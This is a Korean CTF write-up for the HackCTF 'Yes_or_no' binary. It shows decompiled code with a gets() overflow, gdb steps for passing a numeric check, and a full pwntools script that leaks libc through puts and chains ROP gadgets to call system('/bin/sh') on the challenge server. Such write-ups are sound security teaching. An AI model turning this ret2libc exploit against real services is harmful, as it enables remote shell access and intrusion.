Hackctf Yes_or_no Writeup

LeeDoHyun · March 5, 2020

우선 메인함수를 디컴파일 해서 확인해 줍시다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // ecx
  int v6; // eax
  int v7; // eax
  char s; // [rsp+Eh] [rbp-12h]
  int v10; // [rsp+18h] [rbp-8h]
  int v11; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v11 = 5;
  puts("Show me your number~!");
  fgets(&s, 10, stdin);
  v10 = atoi(&s);
  if ( (v11 - 10) >> 3 < 0 )
  {
    v4 = 0;
  }
  else
  {
    v3 = v11++;
    v4 = v10 - v3;
  }
  if ( v4 == v10 )
  {
    puts("Sorry. You can't come with us");
  }
  else
  {
    v5 = 1204 / ++v11;
    v6 = v11++;
    if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);                                 // overflow
    }
    else
    {
      v7 = v11--;
      if ( v10 == v7 )
      {
        printf("Why are you here?");
        return 0;
      }
      puts("All I can say to you is \"do_system+1094\".\ngood luck");
    }
  }
  return 0;
}

우리는 37번 라인에서 오버플로우가 발생하는것을 확인할 수 있습니다. 여기서 v10 == v6 * v5 « (++v11 % 20 + 5) 조건을 맞춰줘야 하는데, gdb 를 통해서 확인해봅시다.

0x00000000004007b4 <+237>: cmp DWORD PTR [rbp-0x8],eax 이부분에 브레이크 포인트를걸고 rax를 확인해주겠습니다.

Breakpoint 1, 0x00000000004007b4 in main ()
gdb-peda$ i r
rax            0x960000	0x960000

rax에 0x960000 라는 값이 들어가 있는것을 확인할 수 있는데 이것을 10진수로 변환시켜주면 우리가 원하는 조건을 맞출 수 있습니다.

조건을 맞춰준뒤, puts를 릭하여 base주소를 구하고 익스를 진행하면 됩니다.

ex.py

from pwn import *

#context.log_level = "debug"
IP = "ctf.j0n9hyun.xyz"
PORT = "3009"
r = remote(IP, PORT)
#r = process("./yes_or_no")
e = ELF("./yes_or_no")
#libc = e.libc
libc = ELF("libc-2.27.so")

r.recvuntil("Show me your number~!")
r.sendline("9830400")
r.recvuntil("That's cool. Follow me")

pop_rdi = 0x400883
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
ret = 0x40056e
main = e.symbols["main"]

payload = "A"*(0x12 + 0x8)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
r.sendline(payload)

puts_leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
base = puts_leak - libc.symbols["puts"]
system = base + libc.symbols["system"]
binsh = base + libc.search("/bin/sh").next()
#one_gadget = base + 0x4f322
#local = base + 0x4526a

r.recvuntil("Show me your number~!")
r.sendline("9830400")
r.recvuntil("That's cool. Follow me")

payload = "A"*(0x12 + 0x8)
#payload += p64(one_gadget)
#payload += p64(0) * 10
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)
r.sendline(payload)
pause()
r.interactive()

Twitter, Facebook